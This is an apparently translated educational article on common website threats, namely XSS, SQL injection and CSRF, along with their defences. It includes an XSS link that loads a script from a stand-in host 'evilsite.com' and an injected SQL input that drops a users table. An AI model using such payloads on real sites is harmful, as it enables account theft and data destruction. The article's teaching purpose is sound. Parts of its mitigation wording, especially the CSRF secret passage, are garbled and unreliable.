Site security threats
This article lists just a few of the most common website threats and how to fix them. As you read, pay attention to how successful threats are when the web application trusts or is not sufficiently paranoid about the data coming from the browser.
Cross-site scripting (XSS)
XSS (Cross-Site Scripting) is a term used to describe a type of attack that allows an attacker to inject malicious code through a website into other users’ browsers. Because the injected code comes to the browser from the site, it is trusted and can perform actions such as sending a user authorization cookie to the attacker. Once an attacker has the cookie, they can log into the site as if they were a user and do anything a user can, such as access credit card information, view contact information, or change passwords.
XSS vulnerabilities are divided into reflected and stored, depending on how the site returns the injected code to the browser.
A reflected XSS vulnerability occurs when user content that is submitted to the server is immediately returned unchanged for display in the browser. Any script in the original user content will run when the new page loads. For example, consider a site search bar in which search words are encoded as URL parameters and those words are displayed along with the results. An attacker can create a search link that contains a malicious script as a parameter (for example: http://mysite.com?q=beer<script%20src=”http://evilsite.com/tricky.js”></script >) and forward it to another user via email. If the target user clicks on this “interesting link”, the script will be executed when the search results are displayed. As we’ve already discussed, this gives the attacker all the information they need to log into the site as the target user, potentially make purchases on the user’s behalf, or obtain their contact information.
A persistent XSS vulnerability occurs when a malicious script is stored on a website and then displayed again unchanged so that other users can unwittingly execute it. For example, a discussion board that accepts comments containing unmodified HTML could be storing malicious script from an attacker. When comments are displayed, the script is executed and can send the attacker information needed to access the user’s account. This type of attack is extremely popular and powerful because the attacker may not even have a direct relationship with the victims. While data from POST or GET requests is the most common source of XSS vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data displayed by the browser or user files that are downloaded and displayed. The best defense against XSS vulnerabilities is to remove or disable any markup that could potentially contain instructions to run code. For HTML, this includes elements such as <script>, <object>, <embed> and <link>. The process of changing user data so that it cannot be used to run scripts or otherwise affect the execution of server code is called input sanitization. Many web frameworks automatically sanitize user input from HTML forms by default.
SQL injection
SQL injection vulnerabilities allow attackers to execute arbitrary SQL code in a database, allowing data to be accessed, modified, or deleted regardless of user permissions. A successful injection attack could spoof identities, create new identities with administrative rights, gain access to all data on the server, or destroy/modify data to make it unusable.
Types of SQL injection include error-based SQL injection, logical error-based SQL injection, and time-based SQL injection.
This vulnerability is present if user input that is passed to the underlying SQL statement can change the meaning of the statement. For example, the following code is designed to list all users with a specific name (userName) that was provided from an HTML form:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
If the user provides a real name, the statement will work as intended. However, a malicious user could completely change the behavior of this SQL statement to the new statement in the following example by simply specifying bold text for userName.
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
The modified statement creates an actual SQL statement that drops the users table and selects all data from the userinfo table (which reveals information about each user). This works because the first part of the text entered (a ‘;) completes the original statement.
To avoid this kind of attack, you must ensure that any user data that is passed into the SQL query cannot change the nature of the query. One way to do this is to escape all user input characters that have special meaning in SQL.
In the following statement, we escape the ‘ character. Now SQL will interpret the name as the entire string in bold (it’s a really weird name, but a safe one).
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';
Web frameworks will often take care of reserved characters for you. Django, for example, ensures that any user data passed into query sets (model queries) is escaped.
Подделка межсайтовых запросов (CSRF)
CSRF attacks allow an attacker to perform actions using another user’s credentials without that user’s knowledge or consent.
This type of attack is best explained with an example. John is an attacker who knows that a certain site allows logged in users to send money to a specified account using an HTTP POST request that includes the account name and the amount of money. John creates a form that includes his bank details and the amount of money as hidden fields, and emails it to other site users (with a “Submit” button disguised as a link to a “get rich quick” site).
If the user clicks the submit button, an HTTP POST request will be sent to the server containing the transaction details and any client-side cookies that the browser has associated with the site (adding site-related cookies to requests is normal browser behavior). The server will check the cookies and use them to determine if the user is logged in and has permission to complete the transaction.
As a result, any user who clicks the Submit button while logging into a trading site completes a transaction. John becomes rich.
One way to prevent this type of attack is to have the server request POST requests containing a user-generated secret for a specific site. The secret will be provided by the server when submitting the web form used for transfers. This approach prevents John from creating his own form because he must know the secret that the server provides to the user. Even if he finds out the secret and creates a form for a specific user, he will no longer be able to use the same form to attack every user.
A few key messages
Almost all of the security exploits described in the previous sections are successful when the web application trusts the data from the browser. Whatever you do to improve the security of your website, you should sanitize all data originating from users before it is displayed in the browser, used in SQL queries, or passed into an operating system or file system call.
Warning: Attention! The most important lesson you can learn about website security is: never trust browser data. This includes, but is not limited to, data in the URL parameters of GET requests, POST requests, HTTP headers and cookies, and files uploaded by the user. Always check and sanitize all incoming data. Always assume the worst!
Summary
This article explains the concept of web security and some of the most common threats that your website should try to protect itself from. Most importantly, you must understand that the web application cannot trust any data from the web browser. All user data must be sanitized before being displayed or used in SQL queries and file system calls.